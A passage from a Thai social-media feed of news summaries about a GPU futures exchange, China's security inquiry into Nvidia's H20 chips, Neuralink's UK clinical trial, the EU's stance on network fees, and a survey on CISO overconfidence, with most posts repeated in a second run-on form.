ต่างจากน้ำมันหรือไฟฟ้าที่มีตลาดซื้อขายล่วงหน้า

ระบบจะเปิดให้ผู้ใช้งานเสนอราคาสำหรับเวลาใช้งาน GPU หรือความจุที่ต้องการ
ช่วยให้บริษัทสามารถวางแผนล่วงหน้าและควบคุมต้นทุนได้
ลดปัญหาการขาดแคลนและราคาผันผวนในช่วงที่มีความต้องการสูง

ตลาดนี้จะเปิดให้ผู้เข้าร่วมหลากหลาย เช่น ผู้ผลิตชิป, ผู้ให้บริการคลาวด์, นักลงทุนในศูนย์ข้อมูล
ยิ่งมีผู้เข้าร่วมหลากหลาย ตลาดจะยิ่งมีความโปร่งใสและมีสภาพคล่องสูง
ช่วยให้เกิดการค้นหาราคาที่แท้จริงของทรัพยากร GPU

https://www.techspot.com/news/108879-startup-nobel-laureate-collaborate-create-gpu-financial-exchange.html

🎙️ เรื่องเล่าจากข่าว: GPU กำลังจะกลายเป็นสินทรัพย์การเงินที่ซื้อขายได้ Startup ชื่อ OneChronos จับมือกับ Auctionomics บริษัทออกแบบตลาดที่ก่อตั้งโดย Paul Milgrom นักเศรษฐศาสตร์รางวัลโนเบล เพื่อสร้าง “ตลาดซื้อขายล่วงหน้า GPU” แห่งแรกของโลก โดยเป้าหมายคือให้ผู้ใช้งานสามารถ “ล็อกราคา” และ “จัดการความเสี่ยง” ของการเข้าถึง GPU ได้เหมือนกับการซื้อขายสินค้าโภคภัณฑ์ เช่น น้ำมันหรือไฟฟ้า ในยุคที่ AI เติบโตอย่างรวดเร็ว GPU กลายเป็นทรัพยากรที่มีค่ามากที่สุด แต่กลับไม่มีเครื่องมือทางการเงินใดที่ช่วยให้บริษัทสามารถวางแผนหรือป้องกันความเสี่ยงจากราคาที่ผันผวนได้เลย ตลาดใหม่นี้จะใช้ระบบ “การประมูลแบบอัจฉริยะ” เพื่อให้ผู้ใช้งานสามารถเสนอราคาสำหรับเวลาใช้งาน GPU หรือความจุที่ต้องการ โดย Auctionomics จะช่วยออกแบบกลไกตลาดให้มีประสิทธิภาพ โปร่งใส และสามารถจัดสรรทรัพยากรได้อย่างเหมาะสม ✅ OneChronos และ Auctionomics ร่วมกันสร้างตลาดซื้อขายล่วงหน้า GPU แห่งแรกของโลก ➡️ ใช้ระบบประมูลอัจฉริยะเพื่อจัดสรรทรัพยากร GPU อย่างมีประสิทธิภาพ ➡️ เปรียบเสมือน “ตลาดซื้อขายน้ำมัน” สำหรับโลก AI ✅ Paul Milgrom นักเศรษฐศาสตร์รางวัลโนเบล เป็นผู้ออกแบบกลไกตลาด ➡️ เคยออกแบบการประมูลคลื่นความถี่ที่เปลี่ยนโฉมวงการโทรคมนาคม ➡️ ใช้ทฤษฎีเกมและคณิตศาสตร์เพื่อสร้างแรงจูงใจที่เหมาะสม ✅ GPU ถูกมองว่าเป็น “สินทรัพย์องค์กรที่ยังไม่มีการป้องกันความเสี่ยง” ที่ใหญ่ที่สุดในโลก ➡️ ไม่มีเครื่องมือทางการเงินใดที่ช่วยล็อกราคาหรือจัดการความเสี่ยง ➡️ ต่างจากน้ำมันหรือไฟฟ้าที่มีตลาดซื้อขายล่วงหน้า ✅ ระบบจะเปิดให้ผู้ใช้งานเสนอราคาสำหรับเวลาใช้งาน GPU หรือความจุที่ต้องการ ➡️ ช่วยให้บริษัทสามารถวางแผนล่วงหน้าและควบคุมต้นทุนได้ ➡️ ลดปัญหาการขาดแคลนและราคาผันผวนในช่วงที่มีความต้องการสูง ✅ ตลาดนี้จะเปิดให้ผู้เข้าร่วมหลากหลาย เช่น ผู้ผลิตชิป, ผู้ให้บริการคลาวด์, นักลงทุนในศูนย์ข้อมูล ➡️ ยิ่งมีผู้เข้าร่วมหลากหลาย ตลาดจะยิ่งมีความโปร่งใสและมีสภาพคล่องสูง ➡️ ช่วยให้เกิดการค้นหาราคาที่แท้จริงของทรัพยากร GPU https://www.techspot.com/news/108879-startup-nobel-laureate-collaborate-create-gpu-financial-exchange.html

WWW.TECHSPOT.COM

Startup and Nobel laureate collaborate to create GPU financial exchange
The world of artificial intelligence is built on computing power, and at the heart of that engine are graphics processing units. These chips are in such high...

0 Comments 0 Shares 51 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:26:45 -

เรื่องเล่าจากข่าว: “H20 ของ Nvidia” กลายเป็นจุดชนวนใหม่ในสงครามเทคโนโลยีระหว่างจีนกับสหรัฐ

หลังจากสหรัฐฯ ยกเลิกคำสั่งห้ามส่งออกชิป H20 ของ Nvidia ไปยังจีนเมื่อเดือนกรกฎาคม 2025 ซึ่งก่อนหน้านั้นเคยถูกแบนในเดือนเมษายนเนื่องจากข้อกังวลด้านความมั่นคง ล่าสุด Cyberspace Administration of China (CAC) ได้เรียกตัว Nvidia เข้าพบเพื่อขอคำชี้แจงเกี่ยวกับ “ความเสี่ยงด้านความปลอดภัย” ของชิป H20 ที่กำลังจะกลับมาวางขายในจีน

CAC อ้างว่าได้รับข้อมูลจากผู้เชี่ยวชาญด้าน AI ของสหรัฐฯ ว่าชิป H20 อาจมีฟีเจอร์ “ติดตามตำแหน่ง” และ “ปิดการทำงานจากระยะไกล” ซึ่งอาจกระทบต่อความเป็นส่วนตัวของผู้ใช้ชาวจีน และละเมิดกฎหมายความปลอดภัยไซเบอร์ของประเทศ

ด้าน Nvidia ยืนยันว่า “ไม่มี backdoor” ในชิปของตน และให้ความสำคัญกับความปลอดภัยไซเบอร์อย่างสูงสุด พร้อมเตรียมส่งเอกสารชี้แจงตามคำขอของ CAC

ขณะเดียวกัน นักการเมืองสหรัฐฯ ก็เคยเสนอให้มีการติดตั้งระบบติดตามในชิปที่ส่งออกไปต่างประเทศ เพื่อป้องกันการลักลอบนำไปใช้ในทางที่ผิด โดยเฉพาะในจีน ซึ่งอาจนำไปใช้พัฒนา AI ทางทหารหรือระบบเซ็นเซอร์ตรวจสอบประชาชน

จีนเรียกตัว Nvidia เข้าพบเพื่อขอคำชี้แจงเกี่ยวกับความเสี่ยงด้านความปลอดภัยของชิป H20
CAC ต้องการเอกสารสนับสนุนเกี่ยวกับความเสี่ยงด้าน backdoor และการติดตาม
อ้างอิงจากรายงานของผู้เชี่ยวชาญ AI สหรัฐฯ

ชิป H20 ถูกพัฒนาขึ้นเพื่อให้ผ่านข้อจำกัดการส่งออกของสหรัฐฯ โดยมีประสิทธิภาพต่ำกว่าชิป H100
ถูกแบนในเดือนเมษายน 2025 และกลับมาขายได้ในเดือนกรกฎาคม
Nvidia สั่งผลิตเพิ่มอีก 300,000 ตัวจาก TSMC เพื่อรองรับความต้องการในจีน

Nvidia ยืนยันว่าไม่มี backdoor ในชิปของตน และให้ความสำคัญกับความปลอดภัยไซเบอร์
“ไม่มีช่องทางลับในการควบคุมหรือเข้าถึงจากระยะไกล”
พร้อมส่งเอกสารชี้แจงตามคำขอของ CAC

นักการเมืองสหรัฐฯ เสนอให้มีการติดตั้งระบบติดตามในชิปที่ส่งออกไปต่างประเทศ
เช่น Chip Security Act ที่เสนอให้มีระบบตรวจสอบตำแหน่งและการใช้งาน
ยังไม่มีการผ่านเป็นกฎหมายอย่างเป็นทางการ

จีนยังคงต้องพึ่งพาชิปของ Nvidia สำหรับงานวิจัยและการพัฒนา AI ภายในประเทศ
แม้จะมีการผลักดันชิปภายในประเทศ เช่น Huawei 910C
แต่ยังไม่สามารถทดแทน Nvidia ได้ในหลายด้าน

https://www.techspot.com/news/108886-china-summons-nvidia-over-potential-security-concerns-h20.html

🧠 เรื่องเล่าจากข่าว: “H20 ของ Nvidia” กลายเป็นจุดชนวนใหม่ในสงครามเทคโนโลยีระหว่างจีนกับสหรัฐ หลังจากสหรัฐฯ ยกเลิกคำสั่งห้ามส่งออกชิป H20 ของ Nvidia ไปยังจีนเมื่อเดือนกรกฎาคม 2025 ซึ่งก่อนหน้านั้นเคยถูกแบนในเดือนเมษายนเนื่องจากข้อกังวลด้านความมั่นคง ล่าสุด Cyberspace Administration of China (CAC) ได้เรียกตัว Nvidia เข้าพบเพื่อขอคำชี้แจงเกี่ยวกับ “ความเสี่ยงด้านความปลอดภัย” ของชิป H20 ที่กำลังจะกลับมาวางขายในจีน CAC อ้างว่าได้รับข้อมูลจากผู้เชี่ยวชาญด้าน AI ของสหรัฐฯ ว่าชิป H20 อาจมีฟีเจอร์ “ติดตามตำแหน่ง” และ “ปิดการทำงานจากระยะไกล” ซึ่งอาจกระทบต่อความเป็นส่วนตัวของผู้ใช้ชาวจีน และละเมิดกฎหมายความปลอดภัยไซเบอร์ของประเทศ ด้าน Nvidia ยืนยันว่า “ไม่มี backdoor” ในชิปของตน และให้ความสำคัญกับความปลอดภัยไซเบอร์อย่างสูงสุด พร้อมเตรียมส่งเอกสารชี้แจงตามคำขอของ CAC ขณะเดียวกัน นักการเมืองสหรัฐฯ ก็เคยเสนอให้มีการติดตั้งระบบติดตามในชิปที่ส่งออกไปต่างประเทศ เพื่อป้องกันการลักลอบนำไปใช้ในทางที่ผิด โดยเฉพาะในจีน ซึ่งอาจนำไปใช้พัฒนา AI ทางทหารหรือระบบเซ็นเซอร์ตรวจสอบประชาชน ✅ จีนเรียกตัว Nvidia เข้าพบเพื่อขอคำชี้แจงเกี่ยวกับความเสี่ยงด้านความปลอดภัยของชิป H20 ➡️ CAC ต้องการเอกสารสนับสนุนเกี่ยวกับความเสี่ยงด้าน backdoor และการติดตาม ➡️ อ้างอิงจากรายงานของผู้เชี่ยวชาญ AI สหรัฐฯ ✅ ชิป H20 ถูกพัฒนาขึ้นเพื่อให้ผ่านข้อจำกัดการส่งออกของสหรัฐฯ โดยมีประสิทธิภาพต่ำกว่าชิป H100 ➡️ ถูกแบนในเดือนเมษายน 2025 และกลับมาขายได้ในเดือนกรกฎาคม ➡️ Nvidia สั่งผลิตเพิ่มอีก 300,000 ตัวจาก TSMC เพื่อรองรับความต้องการในจีน ✅ Nvidia ยืนยันว่าไม่มี backdoor ในชิปของตน และให้ความสำคัญกับความปลอดภัยไซเบอร์ ➡️ “ไม่มีช่องทางลับในการควบคุมหรือเข้าถึงจากระยะไกล” ➡️ พร้อมส่งเอกสารชี้แจงตามคำขอของ CAC ✅ นักการเมืองสหรัฐฯ เสนอให้มีการติดตั้งระบบติดตามในชิปที่ส่งออกไปต่างประเทศ ➡️ เช่น Chip Security Act ที่เสนอให้มีระบบตรวจสอบตำแหน่งและการใช้งาน ➡️ ยังไม่มีการผ่านเป็นกฎหมายอย่างเป็นทางการ ✅ จีนยังคงต้องพึ่งพาชิปของ Nvidia สำหรับงานวิจัยและการพัฒนา AI ภายในประเทศ ➡️ แม้จะมีการผลักดันชิปภายในประเทศ เช่น Huawei 910C ➡️ แต่ยังไม่สามารถทดแทน Nvidia ได้ในหลายด้าน https://www.techspot.com/news/108886-china-summons-nvidia-over-potential-security-concerns-h20.html

WWW.TECHSPOT.COM

China summons Nvidia over potential security concerns in H20 chips
The Cyberspace Administration of China (CAC) said that Nvidia was asked to "clarify and submit relevant supporting documentation regarding security risks, including potential vulnerabilities and backdoors, associated...

0 Comments 0 Shares 48 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:20:20 -

เรื่องเล่าจากข่าว: “Neuralink GB-PRIME” เมื่อความคิดกลายเป็นเมาส์และคีย์บอร์ด

Neuralink ประกาศเปิดตัวการทดลองทางคลินิกในสหราชอาณาจักรชื่อว่า “GB-PRIME” โดยร่วมมือกับ University College London Hospitals (UCLH) และ Newcastle Hospitals เพื่อทดสอบชิปสมอง N1 ที่สามารถแปลสัญญาณประสาทเป็นคำสั่งควบคุมอุปกรณ์ดิจิทัล เช่น คอมพิวเตอร์หรือสมาร์ตโฟน

ผู้เข้าร่วมต้องเป็นผู้ที่มีอาการอัมพาตรุนแรงจากโรค ALS หรือบาดเจ็บไขสันหลัง โดยชิปจะฝังเข้าไปในสมองผ่านหุ่นยนต์ R1 ที่สามารถวางเส้นใยอิเล็กโทรดบางกว่าผมมนุษย์กว่า 1,000 จุดในตำแหน่งที่แม่นยำ

Neuralink ได้รับอนุมัติจากหน่วยงานกำกับดูแลของสหราชอาณาจักร เช่น MHRA และ REC และเคยเริ่มทดลองในสหรัฐอเมริกาเมื่อปี 2024 หลังจากผ่านการอนุมัติจาก FDA ซึ่งเคยปฏิเสธในปี 2022 ด้วยเหตุผลด้านความปลอดภัย

ล่าสุด Neuralink ระดมทุนได้ถึง $650 ล้านในรอบ Series E จากนักลงทุนชั้นนำ เช่น Sequoia, ARK Invest และ Founders Fund เพื่อขยายการทดลองและพัฒนาเทคโนโลยีให้ล้ำลึกยิ่งขึ้น

Neuralink เปิดตัวการทดลอง GB-PRIME ในสหราชอาณาจักรเพื่อทดสอบชิปสมอง N1
ร่วมมือกับ UCLH และ Newcastle Hospitals
ใช้หุ่นยนต์ R1 ฝังเส้นใยอิเล็กโทรดบางเฉียบในสมอง

ผู้เข้าร่วมต้องเป็นผู้ที่มีอัมพาตจาก ALS หรือบาดเจ็บไขสันหลัง
ต้องมีอายุเกิน 22 ปี และไม่สามารถใช้มือทั้งสองข้างได้
สามารถลงทะเบียนผ่านเว็บไซต์ Neuralink

ชิป N1 สามารถแปลสัญญาณสมองเป็นคำสั่งควบคุมอุปกรณ์ดิจิทัล
เช่น การเลื่อนเมาส์, พิมพ์ข้อความ, เล่นเกม
ใช้แบตเตอรี่แบบไร้สายและไม่ต้องมีสายเชื่อมต่อภายนอก

Neuralink เคยทดลองในสหรัฐอเมริกาและมีผู้ใช้จริงแล้ว 5 ราย
ผู้ป่วยสามารถเล่นเกมหรือพิมพ์ข้อความด้วยความคิด
มีการปรับปรุงซอฟต์แวร์เพื่อแก้ปัญหาเส้นใยหลุด

บริษัทได้รับทุน $650 ล้าน ในเดือนมิถุนายน 2025 เพื่อขยายการทดลองและพัฒนาอุปกรณ์ใหม่
นักลงทุนหลัก ได้แก่ Sequoia, ARK Invest, Founders Fund
มูลค่าบริษัทอยู่ที่ประมาณ $9 พันล้าน

https://www.thestar.com.my/tech/tech-news/2025/07/31/musk039s-neuralink-to-launch-a-clinical-study-in-great-britain

🧠 เรื่องเล่าจากข่าว: “Neuralink GB-PRIME” เมื่อความคิดกลายเป็นเมาส์และคีย์บอร์ด Neuralink ประกาศเปิดตัวการทดลองทางคลินิกในสหราชอาณาจักรชื่อว่า “GB-PRIME” โดยร่วมมือกับ University College London Hospitals (UCLH) และ Newcastle Hospitals เพื่อทดสอบชิปสมอง N1 ที่สามารถแปลสัญญาณประสาทเป็นคำสั่งควบคุมอุปกรณ์ดิจิทัล เช่น คอมพิวเตอร์หรือสมาร์ตโฟน ผู้เข้าร่วมต้องเป็นผู้ที่มีอาการอัมพาตรุนแรงจากโรค ALS หรือบาดเจ็บไขสันหลัง โดยชิปจะฝังเข้าไปในสมองผ่านหุ่นยนต์ R1 ที่สามารถวางเส้นใยอิเล็กโทรดบางกว่าผมมนุษย์กว่า 1,000 จุดในตำแหน่งที่แม่นยำ Neuralink ได้รับอนุมัติจากหน่วยงานกำกับดูแลของสหราชอาณาจักร เช่น MHRA และ REC และเคยเริ่มทดลองในสหรัฐอเมริกาเมื่อปี 2024 หลังจากผ่านการอนุมัติจาก FDA ซึ่งเคยปฏิเสธในปี 2022 ด้วยเหตุผลด้านความปลอดภัย ล่าสุด Neuralink ระดมทุนได้ถึง $650 ล้านในรอบ Series E จากนักลงทุนชั้นนำ เช่น Sequoia, ARK Invest และ Founders Fund เพื่อขยายการทดลองและพัฒนาเทคโนโลยีให้ล้ำลึกยิ่งขึ้น ✅ Neuralink เปิดตัวการทดลอง GB-PRIME ในสหราชอาณาจักรเพื่อทดสอบชิปสมอง N1 ➡️ ร่วมมือกับ UCLH และ Newcastle Hospitals ➡️ ใช้หุ่นยนต์ R1 ฝังเส้นใยอิเล็กโทรดบางเฉียบในสมอง ✅ ผู้เข้าร่วมต้องเป็นผู้ที่มีอัมพาตจาก ALS หรือบาดเจ็บไขสันหลัง ➡️ ต้องมีอายุเกิน 22 ปี และไม่สามารถใช้มือทั้งสองข้างได้ ➡️ สามารถลงทะเบียนผ่านเว็บไซต์ Neuralink ✅ ชิป N1 สามารถแปลสัญญาณสมองเป็นคำสั่งควบคุมอุปกรณ์ดิจิทัล ➡️ เช่น การเลื่อนเมาส์, พิมพ์ข้อความ, เล่นเกม ➡️ ใช้แบตเตอรี่แบบไร้สายและไม่ต้องมีสายเชื่อมต่อภายนอก ✅ Neuralink เคยทดลองในสหรัฐอเมริกาและมีผู้ใช้จริงแล้ว 5 ราย ➡️ ผู้ป่วยสามารถเล่นเกมหรือพิมพ์ข้อความด้วยความคิด ➡️ มีการปรับปรุงซอฟต์แวร์เพื่อแก้ปัญหาเส้นใยหลุด ✅ บริษัทได้รับทุน $650 ล้าน ในเดือนมิถุนายน 2025 เพื่อขยายการทดลองและพัฒนาอุปกรณ์ใหม่ ➡️ นักลงทุนหลัก ได้แก่ Sequoia, ARK Invest, Founders Fund ➡️ มูลค่าบริษัทอยู่ที่ประมาณ $9 พันล้าน https://www.thestar.com.my/tech/tech-news/2025/07/31/musk039s-neuralink-to-launch-a-clinical-study-in-great-britain

WWW.THESTAR.COM.MY

Musk's Neuralink to test brain chips in clinical study in Great Britain
(Reuters) - Elon Musk's brain implant company Neuralink said on Thursday it will launch a clinical study in Great Britain to test how its chips can enable patients with severe paralysis to control digital and physical tools with their thoughts.

0 Comments 0 Shares 67 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:19:02 -

เรื่องเล่าจากข่าว: “EU ไม่เก็บค่าธรรมเนียมจาก Big Tech” แล้วจะเอาเงินจากไหนมาลงทุนโครงข่าย?

หลายปีที่ผ่านมา ผู้ให้บริการโทรคมนาคมรายใหญ่ในยุโรป เช่น Deutsche Telekom, Orange, Telefonica และ Telecom Italia เรียกร้องให้ EU บังคับให้บริษัทเทคโนโลยีรายใหญ่ (Google, Meta, Netflix, Microsoft, Amazon ฯลฯ) จ่าย “ค่าธรรมเนียมเครือข่าย” เพราะพวกเขาใช้แบนด์วิดธ์มหาศาลจากโครงข่ายที่ผู้ให้บริการต้องลงทุนเอง

แนวคิดนี้ถูกเรียกว่า “fair share funding” แต่ Big Tech โต้กลับว่าเป็น “ภาษีอินเทอร์เน็ต” และชี้ว่าพวกเขาก็ลงทุนในโครงสร้างพื้นฐานของตัวเองเช่นกัน

ล่าสุด EU ออกมายืนยันว่า “ไม่เห็นด้วย” กับแนวคิดนี้ โดยอ้างอิงจาก White Paper ที่ตีพิมพ์เมื่อกุมภาพันธ์ 2024 ซึ่งสรุปว่า “การเก็บค่าธรรมเนียมเครือข่ายไม่ใช่ทางออกที่ยั่งยืน”

แทนที่จะเก็บเงินจาก Big Tech EU เตรียมออกกฎหมายใหม่ชื่อ Digital Networks Act ในเดือนพฤศจิกายน 2025 เพื่อปรับปรุงโครงสร้างพื้นฐานดิจิทัลให้ทันสมัย รองรับ 5G, 6G, cloud และ edge computing โดยเน้นการลดความซับซ้อนของกฎระเบียบ และส่งเสริมการลงทุนข้ามพรมแดน

EU ปฏิเสธแนวคิดเก็บค่าธรรมเนียมเครือข่ายจาก Big Tech เพื่อสนับสนุนการลงทุนใน 5G และ broadband
อ้างอิงจาก White Paper ปี 2024 ที่สรุปว่าแนวคิดนี้ไม่ยั่งยืน
Big Tech มองว่าเป็น “ภาษีอินเทอร์เน็ต” และไม่เป็นธรรม

ผู้ให้บริการโทรคมนาคมในยุโรปเรียกร้องให้ Big Tech จ่าย “fair share” เพราะใช้แบนด์วิดธ์จำนวนมาก
เช่น Deutsche Telekom, Orange, Telefonica, Telecom Italia
ชี้ว่า Big Tech สร้างภาระให้กับโครงข่ายโดยไม่ช่วยลงทุน

EU เตรียมออกกฎหมายใหม่ชื่อ Digital Networks Act ในไตรมาส 4 ปี 2025
มุ่งเน้นการปรับปรุงโครงสร้างพื้นฐานดิจิทัลให้ทันสมัย
ลดความซับซ้อนของกฎระเบียบ และส่งเสริมการลงทุนข้ามพรมแดน

Digital Networks Act จะเป็น “regulation” ที่มีผลบังคับใช้โดยตรงในทุกประเทศสมาชิก EU
คล้ายกับ GDPR, Digital Services Act และ AI Act
ไม่ใช่ “directive” ที่ต้องรอการนำไปใช้ในแต่ละประเทศ

เป้าหมายของ Digital Networks Act คือการสร้างตลาดเดียวด้านการเชื่อมต่อ และเพิ่มขีดความสามารถในการแข่งขันของอุตสาหกรรมยุโรป
ปรับปรุงการจัดสรรคลื่นความถี่, ลดความซับซ้อนของการอนุญาต
ส่งเสริมการเปลี่ยนผ่านสู่เครือข่ายแบบ cloud และ edge computing

https://www.thestar.com.my/tech/tech-news/2025/07/31/network-fee-on-big-tech-not-a-viable-solution-to-boost-eu-digital-rollout-eu-says

🧠 เรื่องเล่าจากข่าว: “EU ไม่เก็บค่าธรรมเนียมจาก Big Tech” แล้วจะเอาเงินจากไหนมาลงทุนโครงข่าย? หลายปีที่ผ่านมา ผู้ให้บริการโทรคมนาคมรายใหญ่ในยุโรป เช่น Deutsche Telekom, Orange, Telefonica และ Telecom Italia เรียกร้องให้ EU บังคับให้บริษัทเทคโนโลยีรายใหญ่ (Google, Meta, Netflix, Microsoft, Amazon ฯลฯ) จ่าย “ค่าธรรมเนียมเครือข่าย” เพราะพวกเขาใช้แบนด์วิดธ์มหาศาลจากโครงข่ายที่ผู้ให้บริการต้องลงทุนเอง แนวคิดนี้ถูกเรียกว่า “fair share funding” แต่ Big Tech โต้กลับว่าเป็น “ภาษีอินเทอร์เน็ต” และชี้ว่าพวกเขาก็ลงทุนในโครงสร้างพื้นฐานของตัวเองเช่นกัน ล่าสุด EU ออกมายืนยันว่า “ไม่เห็นด้วย” กับแนวคิดนี้ โดยอ้างอิงจาก White Paper ที่ตีพิมพ์เมื่อกุมภาพันธ์ 2024 ซึ่งสรุปว่า “การเก็บค่าธรรมเนียมเครือข่ายไม่ใช่ทางออกที่ยั่งยืน” แทนที่จะเก็บเงินจาก Big Tech EU เตรียมออกกฎหมายใหม่ชื่อ Digital Networks Act ในเดือนพฤศจิกายน 2025 เพื่อปรับปรุงโครงสร้างพื้นฐานดิจิทัลให้ทันสมัย รองรับ 5G, 6G, cloud และ edge computing โดยเน้นการลดความซับซ้อนของกฎระเบียบ และส่งเสริมการลงทุนข้ามพรมแดน ✅ EU ปฏิเสธแนวคิดเก็บค่าธรรมเนียมเครือข่ายจาก Big Tech เพื่อสนับสนุนการลงทุนใน 5G และ broadband ➡️ อ้างอิงจาก White Paper ปี 2024 ที่สรุปว่าแนวคิดนี้ไม่ยั่งยืน ➡️ Big Tech มองว่าเป็น “ภาษีอินเทอร์เน็ต” และไม่เป็นธรรม ✅ ผู้ให้บริการโทรคมนาคมในยุโรปเรียกร้องให้ Big Tech จ่าย “fair share” เพราะใช้แบนด์วิดธ์จำนวนมาก ➡️ เช่น Deutsche Telekom, Orange, Telefonica, Telecom Italia ➡️ ชี้ว่า Big Tech สร้างภาระให้กับโครงข่ายโดยไม่ช่วยลงทุน ✅ EU เตรียมออกกฎหมายใหม่ชื่อ Digital Networks Act ในไตรมาส 4 ปี 2025 ➡️ มุ่งเน้นการปรับปรุงโครงสร้างพื้นฐานดิจิทัลให้ทันสมัย ➡️ ลดความซับซ้อนของกฎระเบียบ และส่งเสริมการลงทุนข้ามพรมแดน ✅ Digital Networks Act จะเป็น “regulation” ที่มีผลบังคับใช้โดยตรงในทุกประเทศสมาชิก EU ➡️ คล้ายกับ GDPR, Digital Services Act และ AI Act ➡️ ไม่ใช่ “directive” ที่ต้องรอการนำไปใช้ในแต่ละประเทศ ✅ เป้าหมายของ Digital Networks Act คือการสร้างตลาดเดียวด้านการเชื่อมต่อ และเพิ่มขีดความสามารถในการแข่งขันของอุตสาหกรรมยุโรป ➡️ ปรับปรุงการจัดสรรคลื่นความถี่, ลดความซับซ้อนของการอนุญาต ➡️ ส่งเสริมการเปลี่ยนผ่านสู่เครือข่ายแบบ cloud และ edge computing https://www.thestar.com.my/tech/tech-news/2025/07/31/network-fee-on-big-tech-not-a-viable-solution-to-boost-eu-digital-rollout-eu-says

WWW.THESTAR.COM.MY

Network fee on Big Tech not a viable solution to boost EU digital rollout, EU says
BRUSSELS (Reuters) -The European Commission does not think that imposing a network fee on Big Tech companies is a viable solution to the debate over who should fund the rollout of 5G and broadband, a spokesman for the EU executive said on Thursday.

0 Comments 0 Shares 53 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:17:06 -

เรื่องเล่าจากข่าว: “ช่องว่างแห่งความมั่นใจ” ที่อาจทำให้องค์กรพังโดยไม่รู้ตัว

รายงานจาก Bitdefender และ Darktrace ในปี 2025 เผยให้เห็นช่องว่างความเข้าใจระหว่างผู้บริหารด้านความปลอดภัย (CISO) กับทีมปฏิบัติการด้านไซเบอร์ (security practitioners) อย่างชัดเจน

- 45% ของ CISO เชื่อว่าระบบขององค์กรสามารถรับมือกับภัยคุกคามได้ดี
- แต่มีเพียง 19% ของผู้จัดการระดับกลางที่เห็นด้วย
- และเมื่อพูดถึงภัยจาก AI มีถึง 62% ของผู้บริหารที่มั่นใจว่าจะรับมือได้ แต่ทีมปฏิบัติการกลับมั่นใจแค่ 49%

เหตุผลหลักคือ ผู้บริหารมักดูข้อมูลจาก dashboard และรายงานสรุป ในขณะที่ทีมปฏิบัติการต้องรับมือกับความจริงที่ซับซ้อน เช่น ระบบเก่า, การแจ้งเตือนล้นระบบ, และการขาดทรัพยากร

ผลที่ตามมาคือการลงทุนผิดจุด เช่น เน้น compliance มากกว่าการพัฒนาเครื่องมือรับมือภัยจริง และการประเมินความเสี่ยงที่ไม่ตรงกับความเป็นจริง

CISO มั่นใจในความปลอดภัยขององค์กรมากกว่าทีมปฏิบัติการอย่างมีนัยสำคัญ
45% ของผู้บริหารมั่นใจเทียบกับ 19% ของผู้จัดการระดับกลาง
ช่องว่างนี้ส่งผลต่อการจัดลำดับความสำคัญในการลงทุน

ภัยคุกคามจาก AI ถูกประเมินต่ำเกินไปโดยผู้บริหาร
62% ของผู้บริหารมั่นใจว่าจะรับมือได้
แต่ทีมปฏิบัติการเห็นว่าระบบยังไม่พร้อม และขาดความเข้าใจใน AI

ทีมปฏิบัติการเผชิญกับความเครียดจากการแจ้งเตือนล้นระบบและเครื่องมือที่ไม่เชื่อมโยงกัน
ทำให้มองเห็นปัญหาที่ผู้บริหารไม่เคยสัมผัส
เช่น legacy systems, alert fatigue, และ policy ที่ไม่สอดคล้องกัน

การลงทุนมักเน้น compliance และ visibility มากกว่าการพัฒนา core capabilities
เช่น detection engineering, incident response, threat containment
ส่งผลให้ระบบไม่พร้อมรับมือภัยจริง

Darktrace พบว่า 78% ของ CISO เห็นว่า AI มีผลกระทบต่อองค์กรอย่างมาก
แต่มีเพียง 42% ของผู้ปฏิบัติการที่เข้าใจว่า AI ในระบบคืออะไร
ช่องว่างความรู้ทำให้การใช้ AI เพื่อป้องกันภัยยังไม่เต็มประสิทธิภาพ

https://www.csoonline.com/article/4031648/mind-the-overconfidence-gap-cisos-and-staff-dont-see-eye-to-eye-on-security-posture.html

🧠 เรื่องเล่าจากข่าว: “ช่องว่างแห่งความมั่นใจ” ที่อาจทำให้องค์กรพังโดยไม่รู้ตัว รายงานจาก Bitdefender และ Darktrace ในปี 2025 เผยให้เห็นช่องว่างความเข้าใจระหว่างผู้บริหารด้านความปลอดภัย (CISO) กับทีมปฏิบัติการด้านไซเบอร์ (security practitioners) อย่างชัดเจน - 45% ของ CISO เชื่อว่าระบบขององค์กรสามารถรับมือกับภัยคุกคามได้ดี - แต่มีเพียง 19% ของผู้จัดการระดับกลางที่เห็นด้วย - และเมื่อพูดถึงภัยจาก AI มีถึง 62% ของผู้บริหารที่มั่นใจว่าจะรับมือได้ แต่ทีมปฏิบัติการกลับมั่นใจแค่ 49% เหตุผลหลักคือ ผู้บริหารมักดูข้อมูลจาก dashboard และรายงานสรุป ในขณะที่ทีมปฏิบัติการต้องรับมือกับความจริงที่ซับซ้อน เช่น ระบบเก่า, การแจ้งเตือนล้นระบบ, และการขาดทรัพยากร ผลที่ตามมาคือการลงทุนผิดจุด เช่น เน้น compliance มากกว่าการพัฒนาเครื่องมือรับมือภัยจริง และการประเมินความเสี่ยงที่ไม่ตรงกับความเป็นจริง ✅ CISO มั่นใจในความปลอดภัยขององค์กรมากกว่าทีมปฏิบัติการอย่างมีนัยสำคัญ ➡️ 45% ของผู้บริหารมั่นใจเทียบกับ 19% ของผู้จัดการระดับกลาง ➡️ ช่องว่างนี้ส่งผลต่อการจัดลำดับความสำคัญในการลงทุน ✅ ภัยคุกคามจาก AI ถูกประเมินต่ำเกินไปโดยผู้บริหาร ➡️ 62% ของผู้บริหารมั่นใจว่าจะรับมือได้ ➡️ แต่ทีมปฏิบัติการเห็นว่าระบบยังไม่พร้อม และขาดความเข้าใจใน AI ✅ ทีมปฏิบัติการเผชิญกับความเครียดจากการแจ้งเตือนล้นระบบและเครื่องมือที่ไม่เชื่อมโยงกัน ➡️ ทำให้มองเห็นปัญหาที่ผู้บริหารไม่เคยสัมผัส ➡️ เช่น legacy systems, alert fatigue, และ policy ที่ไม่สอดคล้องกัน ✅ การลงทุนมักเน้น compliance และ visibility มากกว่าการพัฒนา core capabilities ➡️ เช่น detection engineering, incident response, threat containment ➡️ ส่งผลให้ระบบไม่พร้อมรับมือภัยจริง ✅ Darktrace พบว่า 78% ของ CISO เห็นว่า AI มีผลกระทบต่อองค์กรอย่างมาก ➡️ แต่มีเพียง 42% ของผู้ปฏิบัติการที่เข้าใจว่า AI ในระบบคืออะไร ➡️ ช่องว่างความรู้ทำให้การใช้ AI เพื่อป้องกันภัยยังไม่เต็มประสิทธิภาพ 